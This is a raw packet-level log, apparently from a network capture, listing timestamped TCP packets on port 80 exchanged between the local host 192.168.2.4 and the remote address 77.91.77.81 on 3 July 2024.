Jul 3, 2024 23:59:13.663841963 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.663929939 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:13.781244040 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.781250954 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.781261921 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.781323910 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.781330109 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.781368017 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:13.781565905 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.781600952 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:13.781614065 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.781657934 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.781722069 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.781732082 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.781749010 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:13.781877041 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.781882048 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.781887054 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.781891108 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.781910896 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:13.781948090 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:13.782077074 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.782185078 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.782190084 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.782236099 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.782242060 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.782270908 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:13.782356024 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.782388926 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:13.782407045 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.782412052 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.782486916 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.782516956 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:13.782629967 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.782641888 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.782650948 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.782778025 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.782782078 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.782790899 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.782797098 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.782813072 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:13.782948017 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.782953024 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.782963991 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.782982111 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:13.783353090 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.783385992 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:13.783400059 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.783406019 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.783431053 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.783456087 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:13.783493996 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.783528090 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.783533096 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.783533096 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:13.783592939 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:13.783592939 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:13.783643007 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.783648968 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.783659935 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.783664942 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.783767939 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.783808947 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:13.783853054 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.783860922 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.783869982 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.784159899 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.784192085 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:13.784229994 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.784235001 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.784260988 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:13.784478903 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:13.786760092 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.786988974 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:13.791760921 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.791809082 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.791814089 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.791842937 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:13.792012930 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:13.902798891 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.902803898 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.902813911 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.902911901 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.902910948 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:13.902919054 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.902930021 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.902936935 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.902985096 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:13.903063059 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.903068066 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.903076887 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.903083086 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.903127909 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:13.903127909 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:13.903215885 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.903227091 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.903237104 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.903242111 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.903286934 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:13.903286934 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:13.903367043 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.903372049 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.903445959 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.903450966 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.903460026 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.903465986 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.903467894 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:13.903556108 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.903559923 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.903574944 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:13.903606892 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.903611898 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.903661013 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.903666019 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.903676033 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.903676987 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:13.903719902 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:13.903719902 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:13.903847933 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.903852940 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.903857946 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.903970957 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.903975964 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.903981924 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.903983116 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:13.904058933 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.904062033 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:13.904148102 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.904153109 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.904165983 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.904177904 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.904182911 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.904182911 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:13.904200077 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:13.904342890 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.904347897 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.904357910 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.904377937 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:13.904453039 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.904458046 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.904467106 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.904506922 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:13.904591084 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.904597044 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.904601097 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.904606104 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.904616117 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.904618979 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:13.904644966 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:13.904877901 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:13.907744884 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.907794952 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.907800913 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.907810926 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.907840014 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.907880068 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:13.907880068 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:13.907932043 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.907938004 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.907948971 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.907999992 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:13.907999992 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:13.908090115 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.908096075 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.908106089 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.908109903 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.908114910 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.908119917 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.908127069 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.908171892 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:13.908221960 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.908276081 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:13.908341885 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.908356905 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.908363104 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.908368111 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.908373117 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.908373117 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:13.908395052 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:13.908472061 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.908474922 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:13.908509970 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.908515930 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.908552885 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:13.908565998 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.908613920 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.908617973 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.908646107 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:13.908679008 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.908694029 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:13.908727884 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.908734083 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.908761978 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:13.908813953 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.908816099 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:13.908821106 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.908936977 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.908941984 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.908952951 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.908958912 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.908963919 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.908967972 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.908972979 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:13.908973932 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.909007072 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:13.909007072 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:13.910187960 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:13.992784977 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.992790937 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.992806911 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.992813110 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.992816925 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.992826939 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.992832899 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.992876053 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:13.992876053 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:13.992944002 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.992990971 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:13.993045092 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.993050098 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.993061066 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.993066072 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.993071079 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.993076086 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.993105888 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:13.993105888 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:13.993927002 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.024683952 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.024720907 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.024727106 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.024792910 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.024854898 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.024859905 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.024871111 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.024877071 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.024880886 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.024971962 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.024981022 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.025064945 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.025069952 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.025084019 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.025089025 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.025099993 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.025104046 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.025110006 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.025115967 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.025296926 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.025301933 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.025312901 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.025325060 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.025332928 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.025366068 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.025366068 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.025434971 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.025481939 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.025487900 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.025499105 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.025505066 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.025593042 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.025614023 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.025624990 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.025739908 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.025782108 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.025788069 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.025798082 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.025803089 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.025808096 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.025813103 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.025824070 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.025841951 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.025861025 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.026010990 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.026016951 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.026026964 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.026032925 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.026040077 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.026086092 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.026086092 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.026156902 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.026175022 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.026180983 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.026190996 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.026196003 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.026233912 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.026331902 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.026362896 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.026369095 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.026380062 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.026391029 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.026441097 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.026572943 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.026572943 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.026580095 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.026585102 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.026590109 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.026595116 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.026606083 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.026633024 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.026788950 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.026794910 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.026806116 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.026810884 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.026815891 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.026823044 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.026823997 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.026870966 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.026910067 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.026932955 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.026989937 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.026994944 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.027066946 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.027074099 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.027084112 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.027093887 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.027098894 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.027102947 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.027103901 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.027113914 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.027116060 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.027148008 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.027332067 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.027337074 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.027343035 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.027354002 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.027359009 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.027364016 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.027369022 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.027380943 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.027446032 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.027631044 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.027637005 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.027647972 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.027652979 CEST	80	49732	77.91.77.81	192.168.2.4
